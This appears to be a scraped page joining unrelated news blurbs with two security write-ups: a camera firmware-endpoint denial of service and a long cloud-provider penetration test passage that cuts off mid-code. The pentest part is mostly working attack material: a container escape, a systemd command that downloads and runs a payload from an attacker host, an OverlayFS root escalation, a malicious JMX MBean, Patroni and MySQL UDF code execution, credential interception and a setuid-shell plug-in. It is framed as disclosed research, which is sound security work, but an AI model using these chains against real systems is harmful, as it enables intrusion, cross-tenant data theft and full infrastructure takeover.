The U.S. Navy has awarded South Carolina-based Integer Technologies a $23.1 million contract to research how zero trust cybersecurity can protect the electrical power systems that run its warships, without slowing the split-second controls those systems depend on. The Office of Naval Research awarded the cost-plus-fixed-fee contract for a program called Threat Resilient Integrated Defense […]
Bitcoin's struggle to surpass $85K highlights the tension between long-term holder resistance and emerging support, impacting market dynamics.
The post Bitcoin must reclaim $85K to overcome long-term holder selling, Glassnode says appeared first on Crypto Briefing.
Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.
During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.
Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.
Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.
To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.
The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.
Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash, where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.
If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.
The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.
Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.
Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.
The camera is online
After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.
The camera is offline
The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.
After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.
Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.
An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.
The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.
This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
Loginkubectl run pod-name-bla \
--image=alpine \
--restart=Never \
--overrides='
{
"apiVersion": "v1",
"spec": {
"hostPID": true,
"containers": [
{
"name": "priv",
"image": "alpine",
"command": [ "sh", "-c", "sleep 3600" ],
"stdin": true,
"tty": true,
"securityContext": {
"privileged": true
}
}
]
}
}'After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:
nsenter --target 1 --mount --uts --ipc --net --pid – bash
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
service AgentService {
rpc Connect(stream Packet) returns (stream Packet) {}
}The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
enum PacketType {
DIAL_REQ = 0;
DIAL_RSP = 1;
...
}
message Packet {
PacketType type = 1;
oneof payload {
DialRequest dialRequest = 2;
DialResponse dialResponse = 3;
Data data = 4;
CloseRequest closeRequest = 5;
CloseResponse closeResponse = 6;
CloseDial closeDial = 7;
}
}
message DialRequest {
// tcp or udp?
string protocol = 1;
// node:port
string address = 2;
// random id for client, maybe should be longer
int64 random = 3;
}The server reads any Packet packets from the stream initiated by the agent (worker node):
//apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in
Next, the packets go to the backend manager:
//apiserver-network-proxy/pkg/server/server.go:748
func (s *ProxyServer) serveRecvBackend(...) {
for pkt := range recvCh {
switch pkt.Type {Then comes the most interesting part:
//apiserver-network-proxy/pkg/server/server.go:888
case client.PacketType_DIAL_REQ:
req := pkt.GetDialRequest()
klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
s.handleDialRequest(pkt, backend)In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
...
dialReq := pkt.GetDialRequest()
resp.GetDialResponse().Random = dialReq.Random
start := time.Now()
conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and addressThis created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties
Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
busctl --address=unix:path=/tmp/master-dbus.sock \
call org.freedesktop.login1 \
/org/freedesktop/login1 \
org.freedesktop.login1.Manager \
SetUserLinger ubb 997 true falseThe following sockets were then opened:
/run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)
Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:
StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path
The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"
As a result, we successfully received a callback from the control plane.
Konnectivity-server context and node network interfaces
Mirantis, the company behind the k0s project, confirmed the vulnerability.
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m &&
cp /usr/bin/python3 l/ &&
chmod 755 l/python3 &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
"discoveredLabels": {
"__address__": "http://100.64.1.1:6897/metrics",
"__meta_url": "CENSORED",
"__metrics_path__": "/metrics",
"__scheme__": "http",
"__scrape_interval__": "2m0s",
"__scrape_timeout__": "2m0s",
"cluster_id": "676767",
"customer": "customerID",
"job": "http",
"profile": "kubernetes",
"vds_id": "1337",
"version": "1.0"
}It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).JmxInvoke.java: invokes the selected MBean method through the JMX Registry.ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(String path) throws Exception {
return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
}
@Override
public String putB64(String path, String b64) throws Exception {
byte[] data = Base64.getDecoder().decode(b64);
Files.write(Path.of(path), data);
return "wrote " + data.length + " bytes";
}
}After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
<html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html>
We then perform the following steps:
MLet loader inside the Kafka JVM.MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("target")
...
if !strings.Contains(target, "://") {
target = "redis://" + target
}
u, err := url.Parse(target)
...
opts := e.options
...
_, err = NewRedisExporter(target, opts)
...Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
AUTH command in an intercepted Redis request
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Patroni configuration in etcd
{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
"use_pg_rewind": true,
"parameters": {
"archive_command": "id",
"archive_mode": "always",
"max_connections": 550,
"max_locks_per_transaction": 512,
"max_worker_processes": 27
}
}
}Update the Patroni configuration with the modified archive_command:
curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq
Update the configuration again to add the standby_cluster parameter:
{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
"use_pg_rewind": true,
"parameters": {
"archive_command": "rce",
"archive_mode": "on",
"archive_timeout": "10",
"max_connections": 550,
"max_locks_per_transaction": 512,
"max_worker_processes": 27
}
},
"standby_cluster": {
"host": "192.0.2.1",
"port": 5432
}
}After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate
Postgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
mkdir -p "/tmp/dump/$(dirname "$f")"
salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
doneBecause the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
sql = query.format(
minion_id=minion_id,
pillar={**pillar, **results},
grains=__grains__,
)
loaded_items = db_connections[db_alias].load_object_list(sql)A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server
The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources
These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user;
CREATE TABLE mysql.user (
Host char(255) NOT NULL DEFAULT '%',
User char(32) NOT NULL DEFAULT '',
Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
ssl_cipher blob NOT NULL,
x509_issuer blob NOT NULL,
x509_subject blob NOT NULL,
max_questions int unsigned NOT NULL DEFAULT 0,
max_updates int unsigned NOT NULL DEFAULT 0,
max_connections int unsigned NOT NULL DEFAULT 0,
max_user_connections int unsigned NOT NULL DEFAULT 0,
plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
authentication_string text,
password_expired enum('N','Y') NOT NULL DEFAULT 'N',
password_last_changed timestamp NULL DEFAULT NULL,
password_lifetime smallint unsigned DEFAULT NULL,
account_locked enum('N','Y') NOT NULL DEFAULT 'N',
Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
Password_reuse_history smallint unsigned DEFAULT NULL,
Password_reuse_time smallint unsigned DEFAULT NULL,
Password_require_current enum('N','Y') DEFAULT NULL,
User_attributes json DEFAULT NULL,
PRIMARY KEY (Host, User)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef unsigned long long udf_args_type;
typedef struct {
unsigned int arg_count;
unsigned int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
typedef struct {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
void *extension;
} UDF_INIT;
int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval requires one argument");
return 1;
}
initid->max_length = 65535;
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {}
char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
char cmd[65535];
snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
FILE *pipe = popen(cmd, "r");
if (!pipe) { *is_null = 1; return NULL; }
static char buf[65535];
size_t total = 0;
while (total < sizeof(buf)-1) {
size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
if (n == 0) break;
total += n;
}
pclose(pipe);
buf[total] = '\0';
*length = total;
return buf;
}RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
curl -s -X PATCH "https://somecloud/api/dbaas/id" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.
With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.soWe restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
